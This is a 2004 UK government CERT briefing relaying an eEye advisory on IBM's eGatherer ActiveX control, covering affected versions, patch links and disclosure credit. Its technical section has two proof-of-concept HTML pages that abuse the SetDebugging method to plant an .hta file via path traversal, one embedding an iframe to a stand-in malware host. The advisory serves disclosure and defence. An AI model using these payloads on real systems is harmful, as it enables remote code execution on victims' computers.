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UNIRAS Brief - 306/04 - eEye Security Bulletin - "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability



 
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   UNIRAS (UK Govt CERT) Briefing Notice - 306/04 dated 17.06.04  Time: 15:55  
  UNIRAS is part of NISCC (National Infrastructure Security Co-ordination Centre)
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  UNIRAS material is also available from its website at www.uniras.gov.uk and
         Information about NISCC is available from www.niscc.gov.uk
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Title
=====

eEye Security Bulletin - "IBM Access Support" (eGatherer) Activex Dangerous Methods 
Vulnerability


Detail
====== 

eEye Digital Security has discovered a security vulnerability in IBM's signed "eGatherer" 
activex. Because this application is signed, it might be presented to users on the web 
for execution in the name of IBM. If users trust IBM, they will run this, and their 
systems will be compromised. This activex was designed by IBM to be used for an 
automated support solution for their PC's. This is installed by default on many 
popular IBM PC models.



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===========================================================================
             

                  ESB-2004.0417 -- eEye Security Bulletin
 "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability
                               17 June 2004

===========================================================================

        

Product:                IBM Access Support (eGatherer) Activex Version
                        2.0.0.16
Publisher:              eEye Digital Security
Platform:               various IBM PC models
Impact:                 Execute Arbitrary Code/Commands
Access Required:        Remote

Comment: 

As stated below - IBM have released a patch for this vulnerability:

http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-51860

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"IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

Release Date:
June 15, 2004

Date Reported:
February 20, 2004

Patch Development Time (In Days):
116   

Severity:
High (Remote Code Execution)

Vendor:
IBM

Systems Affected:
IBM Access Support (eGatherer) Activex Version 2.0.0.16

Overview:
eEye Digital Security has discovered a security vulnerability in IBM's signed 
"eGatherer" activex. Because this application is signed, it might be presented 
to users on the web for execution in the name of IBM. If users trust IBM, they 
will run this, and their systems will be compromised. This activex was designed 
by IBM to be used for an automated support solution for their PC's. This is 
installed by default on many popular IBM PC models.

The issue is quite simple. Activex is a very profound web technology. As a 
profound web technology it may be abused. Designers might create an activex 
which could perform any function on an user's computer. Microsoft relies on 
trust for the security model and warns against making activex with dangerous 
capabilities. The responsibility, however, rests with the creator of the activex, 
as in any trust model.

In this case, IBM made available methods named such as "GetMake", "GetModel", 
"GetOSName", "SetDebugging" (accepting variable called
"filename") and "RunEgatherer" (also accepting suspicious parameter). These 
dangerous methods were found to be able to write a trojan file to the user's 
startup folder through a difficult trick. 

It should be further noted that both "SetDebugging" and "RunEgether" methods 
allow a web page author to write files of their choice (though the content is limited) 
to the victim's hard drive -- anywhere to their hard drive. These are the default 
and clearly stated usage of these methods.

Technical Details:
For clarification purposes this will be presented as a two page attack, though it 
may easily be a single HTML page attack.


- - -----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever one goes 
to the second page (or just timing the two calls with SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
- - ---------------------------------

- - -----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|


- - ---------------------------------

In the above example, we see the object called utilizing the "object" tag. The 
codebase tag [not shown here] is used by the browser to initiate the install 
of the activex if it is not already existing on the system. This would bring 
up the activex prompt which essentially asks the user if they trust IBM. Finally, 
the object is named "X", so we might reference it later in script and use its' 
dangerous methods.

In the first page we call the "SetDebugging" method. "SetDebugging" writes a 
file called "xx.hta" to the C:\ drive. (An attacker would probably write the 
file to the StartUP folder in real life.) This file will have "xx.hta" written 
inside of it, along with some other stuff.

We need to control what is written inside the file so we can write dangerous 
scripting. But, all we can write is what can be in a filename.

Now, the second HTML page is called. What happens? The application throws an 
error, but before it crashes, it writes our exploit code to the file "xx.hta". 
(It crashes because "<>" are not valid characters for a filename).

So, now we have the exploit file in the exploit location with the exploit 
location within it... and the target system is taken down.

Protection:
Retina Network Security Scanner has been updated to identify this vulnerability.

Vendor Status:
IBM has released a patch for this vulnerability. The patch is available at the 
following location: http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-5186
0

Credit:
Discovery: Drew Copley
Additional Research: http-equiv@xxxxxxxxxxx

Related Links:
Retina Network Security Scanner - Free 15 Day Trial  http://www.eeye.com/html/products/retina/download/index.html

Another Quote of the Day:
"A man's greatest work is to break his enemies, to drive them before him, 
to take from them all the things that have been theirs, to hear the weeping 
of those who cherished them." - Genghis Khan

Copyright (c) 1998-2004 eEye Digital Security
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<End of UNIRAS Briefing>

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